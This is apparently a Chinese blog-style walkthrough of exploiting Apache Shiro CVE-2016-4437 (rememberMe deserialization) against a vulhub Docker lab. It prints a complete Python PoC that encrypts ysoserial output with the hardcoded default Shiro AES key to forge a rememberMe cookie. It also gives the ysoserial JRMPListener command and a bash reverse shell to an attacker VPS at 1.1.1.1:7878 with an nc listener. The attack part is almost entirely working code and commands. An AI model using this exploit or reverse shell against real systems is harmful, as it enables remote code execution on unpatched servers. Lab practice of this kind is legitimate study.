环境
kali虚拟机
vps
windwos物理机
安装docker环境
启动docker
systemctl start docker
搭建靶场
git clone https://github.com/vulhub/vulhub.git
cd vulhub/shiro/CVE-2016-4437
docker-compose up -d #启动靶场
访问页面
接下来就是淦,准备poc和vps(需要java环境)
poc,百度找‘梦之履行地’大佬的
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
保存为shiro_shell.py,后面是vps的地址和端口
准备ysoserial-0.0.6-SNAPSHOT-all.jar包
如果没有jar包的,想自己生成的可以安装maven环境,比较难搞。然后执行
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
没报错就OK了
然后将ysoserial-0.0.6-SNAPSHOT-all.jar上传到vps中
在vps中用nc监听7878端口
反弹shell制作
反弹shell需要加密,网址:http://www.jackson-t.ca/runtime-exec-payloads.html
反弹shell代码如下
bash -i >& /dev/tcp/1.1.1.1/7878 0>&1 #1.1.1.1为vps ip
然后继续在vps中开一个窗口输入命令
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 '加密后的反弹shell'
vps设置已经弄好了可以进行测试了
返回vps上查看
比较幸运成功了